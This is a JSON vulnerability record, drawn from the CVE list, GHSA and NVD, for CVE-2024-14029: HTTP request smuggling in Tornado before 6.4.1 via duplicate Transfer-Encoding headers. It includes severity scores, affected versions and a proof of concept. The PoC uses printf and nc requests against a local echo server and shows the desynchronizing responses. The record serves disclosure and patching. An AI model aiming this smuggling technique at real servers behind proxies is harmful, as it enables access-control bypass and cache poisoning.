{"id":"CVE-2024-14029","aliases":["CVE-2024-14029","GHSA-753j-mpmx-qq6g"],"related":[],"kind":"vulnerability","state":"published","title":"Tornado before 6.4.1 HTTP Request Smuggling via Transfer-Encoding","summary":"Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Tornado before 6.4.1 ignores duplicate Transfer-Encoding: chunked headers, treating requests as having no message body and parsing the chunked body as a subsequent request. Attackers can exploit this inconsistency when Tornado is deployed behind proxies to perform HTTP request smuggling, enabling access control bypass, cache poisoning, or connection desynchronization.","source":"cvelist"},{"lang":"en","text":"### Summary\nWhen Tornado receives a request with two `Transfer-Encoding: chunked` headers, it ignores them both. This enables request smuggling when Tornado is deployed behind a proxy server that emits such requests. [Pound](https://en.wikipedia.org/wiki/Pound_(networking)) does this.\n\n### PoC\n0. Install Tornado.\n1. Start a simple Tornado server that echoes each received request's body:\n```bash\ncat << EOF > server.py\nimport asyncio\nimport tornado\n\nclass MainHandler(tornado.web.RequestHandler):\n    def post(self):\n        self.write(self.request.body)\n\nasync def main():\n    tornado.web.Application([(r\"/\", MainHandler)]).listen(8000)\n    await asyncio.Event().wait()\n\nasyncio.run(main())\nEOF\npython3 server.py &\n```\n2. Send a valid chunked request:\n```bash\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n3. Observe that the response is as expected:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:32:05 GMT\nContent-Length: 1\n\nZ\n```\n4. Send a request with two `Transfer-Encoding: chunked` headers:\n```\nprintf 'POST / HTTP/1.1\\r\\nTransfer-Encoding: chunked\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n1\\r\\nZ\\r\\n0\\r\\n\\r\\n' | nc localhost 8000\n```\n5. Observe the strange response:\n```\nHTTP/1.1 200 OK\nServer: TornadoServer/6.3.3\nContent-Type: text/html; charset=UTF-8\nDate: Sat, 07 Oct 2023 17:35:40 GMT\nContent-Length: 0\n\nHTTP/1.1 400 Bad Request\n\n```\nThis is because Tornado believes that the request has no message body, so it tries to interpret `1\\r\\nZ\\r\\n0\\r\\n\\r\\n` as its own request, which causes a 400 response. With a little cleverness involving `chunk-ext`s, you can get Tornado to instead respond 405, which has the potential to desynchronize the connection, as opposed to 400 which should always result in a connection closure.\n\n### Impact\nAnyone using Tornado behind a proxy that forwards requests containing multiple `Transfer-Encoding: chunked` headers is vulnerable to request smuggling, which may entail ACL bypass, cache poisoning, or connection desynchronization.","format":"markdown","source":"ghsa"},{"lang":"es","text":"Tornado anterior a la versión 6.4.1 ignora los encabezados Transfer-Encoding: chunked duplicados, tratando las solicitudes como si no tuvieran cuerpo de mensaje y analizando el cuerpo chunked como una solicitud subsiguiente. Los atacantes pueden explotar esta inconsistencia cuando Tornado se despliega detrás de proxies para realizar contrabando de solicitudes HTTP, lo que permite la omisión del control de acceso, el envenenamiento de caché o la desincronización de la conexión.","source":"nvd"}],"published":"2024-06-06T21:41:20.000Z","modified":"2026-09-28T14:10:00.213Z","severity":{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N","score":9,"rating":"CRITICAL"},"severities":[{"scorer":"VulnCheck","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:L/SI:H/SA:N","score":9,"rating":"CRITICAL"},{"scorer":"VulnCheck","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:H/A:N","score":7.5,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N","score":5.3,"rating":"MEDIUM"}],"cwes":["CWE-444"],"affected":[{"ranges":[{"type":"semver","introduced":"0","fixed":"6.4.1","status":"affected"},{"type":"semver","version":"6.4.1","status":"unaffected"}],"vendor":"tornadoweb","product":"tornado","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"6.4.1"}],"ecosystem":"PyPI","package":"tornado","purl":"pkg:pypi/tornado","source":"ghsa"}],"references":[{"url":"https://github.com/tornadoweb/tornado/security/advisories/GHSA-753j-mpmx-qq6g","tags":["exploit","vendor-advisory","web"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://www.vulncheck.com/advisories/tornado-before-6.4.1-http-request-smuggling-via-transfer-encoding","tags":["third-party-advisory"],"sources":["cvelist","nvd"]},{"url":"https://github.com/tornadoweb/tornado/commit/d65f6e71a77f53a1ff0a0dc55704be13f04eb572","tags":["web"],"sources":["ghsa"]},{"url":"https://github.com/tornadoweb/tornado","tags":["package"],"sources":["ghsa"]}],"credits":["kenballus"],"assigner":"VulnCheck","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-09-15T17:07:58.664Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-14029","url":"https://www.cve.org/CVERecord?id=CVE-2024-14029","licence":"CVE Terms of Use","modified":"2026-09-15T17:09:00.298Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-753j-mpmx-qq6g","url":"https://github.com/advisories/GHSA-753j-mpmx-qq6g","licence":"CC-BY-4.0","modified":"2026-09-16T03:56:03.776Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-14029","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-14029","licence":"Public domain","modified":"2026-09-28T14:10:00.213Z"}],"updatedAt":"2026-11-25T22:58:53.072Z","epss":{"score":0.00361,"percentile":0.31951,"date":"2026-12-01T12:00:22.000Z"}}